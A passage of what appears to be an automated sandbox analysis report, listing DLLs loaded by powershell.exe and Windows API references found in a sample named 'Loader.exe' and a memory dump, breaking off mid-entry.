"powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\86af2f4f2745738837c95f24472c32ca\Microsoft.PowerShell.ConsoleH (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation. (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\f4889fa032f8023fe280a54700d6d3a5\Microsoft.Management.Infrastr (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\2d1ff2ab3131de6a507f22ccc53b273a\System.DirectoryServices.ni.d (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\bf3d2e6042d943e0fec9ccc0d72c8f3b\System.Data.ni.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\49750ea038273f75321e479ef1525d1e\Microsoft.PowerShell.Security (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\dd0ed795d7234a2ae4314de052867161\System.Transactions.ni.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MPCLIENT.DLL (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpLics.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\9494eda0c9af503cb61fe450b5ba9c1a\Microsoft.PowerShell.Commands (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\b4c34523c582146dea3ca389e3487145\System.Configuration.Install. (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\468fa5ae84991aaf4d90ecee8788f024\Microsoft.PowerShell.Commands (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\86af2f4f2745738837c95f24472c32ca\Microsoft.PowerShell.ConsoleH (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation. (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\f4889fa032f8023fe280a54700d6d3a5\Microsoft.Management.Infrastr (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\2d1ff2ab3131de6a507f22ccc53b273a\System.DirectoryServices.ni.d (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\bf3d2e6042d943e0fec9ccc0d72c8f3b\System.Data.ni.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\49750ea038273f75321e479ef1525d1e\Microsoft.PowerShell.Security (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\dd0ed795d7234a2ae4314de052867161\System.Transactions.ni.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MPCLIENT.DLL (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpLics.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\9494eda0c9af503cb61fe450b5ba9c1a\Microsoft.PowerShell.Commands (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\b4c34523c582146dea3ca389e3487145\System.Configuration.Install. (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\3c82a5286b5172d5a68c8df2e09c4c40\System.Drawing.ni.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\bee998043eb1e9badecd282a79540a5e\System.Windows.Forms.ni.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\468fa5ae84991aaf4d90ecee8788f024\Microsoft.PowerShell.Commands (UID: 00000000-00005928) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00005928)38:T3d62,Found reference to API (Indicator: "CreateEventA"; File: "Loader.exe") Found reference to API (Indicator: "GetSystemInfo"; File: "Loader.exe") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "Loader.exe") Found reference to API (Indicator: "GetThreadContext"; File: "Loader.exe") Found reference to API (Indicator: "SetWaitableTimer"; File: "Loader.exe") Found reference to API (Indicator: "WerGetFlags"; File: "Loader.exe") Found reference to API (Indicator: "AddVectoredExceptionHandler"; File: "Loader.exe") Found reference to API (Indicator: "CloseHandle"; File: "Loader.exe") Found reference to API (Indicator: "WriteFile"; File: "Loader.exe") Found reference to API (Indicator: "SetEvent"; File: "Loader.exe") Found reference to API (Indicator: "CreateThread"; File: "Loader.exe") Found reference to API (Indicator: "GetStdHandle"; File: "Loader.exe") Found reference to API (Indicator: "SetThreadContext"; File: "Loader.exe") Found reference to API (Indicator: "VirtualFree"; File: "Loader.exe") Found reference to API (Indicator: "GetProcessAffinityMask"; File: "Loader.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "Loader.exe") Found reference to API (Indicator: "LoadLibraryW"; File: "Loader.exe") Found reference to API (Indicator: "GetErrorMode"; File: "Loader.exe") Found reference to API (Indicator: "DuplicateHandle"; File: "Loader.exe") Found reference to API (Indicator: "PostQueuedCompletionStatus"; File: "Loader.exe") Found reference to API (Indicator: "GetQueuedCompletionStatusEx"; File: "Loader.exe") Found reference to API (Indicator: "SetConsoleCtrlHandler"; File: "Loader.exe") Found reference to API (Indicator: "TlsAlloc"; File: "Loader.exe") Found reference to API (Indicator: "VirtualAlloc"; File: "Loader.exe") Found reference to API (Indicator: "SetErrorMode"; File: "Loader.exe") Found reference to API (Indicator: "GetProcAddress"; File: "Loader.exe") Found reference to API (Indicator: "SuspendThread"; File: "Loader.exe") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "Loader.exe") Found reference to API (Indicator: "WerSetFlags"; File: "Loader.exe") Found reference to API (Indicator: "CreateWaitableTimerExW"; File: "Loader.exe") Found reference to API (Indicator: "SwitchToThread"; File: "Loader.exe") Found reference to API (Indicator: "CreateIoCompletionPort"; File: "Loader.exe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "Loader.exe") Found reference to API (Indicator: "RtlVirtualUnwind"; File: "Loader.exe") Found reference to API (Indicator: "WriteConsoleW"; File: "Loader.exe") Found reference to API (Indicator: "SetProcessPriorityBoost"; File: "Loader.exe") Found reference to API (Indicator: "WaitForMultipleObjects"; File: "Loader.exe") Found reference to API (Indicator: "VirtualQuery"; File: "Loader.exe") Found reference to API (Indicator: "ResumeThread"; File: "Loader.exe") Found reference to API (Indicator: "LoadLibraryExW"; File: "Loader.exe") Found reference to API (Indicator: "RtlLookupFunctionEntry"; File: "Loader.exe") Found reference to API (Indicator: "ExitProcess"; File: "Loader.exe") Found reference to API (Indicator: "RaiseFailFastException"; File: "Loader.exe") Found reference to API (Indicator: "AddVectoredContinueHandler"; File: "Loader.exe") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "Loader.exe") Found reference to API (Indicator: "GetConsoleMode"; File: "Loader.exe") Found reference to API (Indicator: "WSAIoctl"; File: "Loader.exe") Found reference to API (Indicator: "GetFileType"; File: "Loader.exe") Found reference to API (Indicator: "RaiseFailFastException"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosErrorNoTeb"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "RtlDllShutdownInProgress"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreExW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: 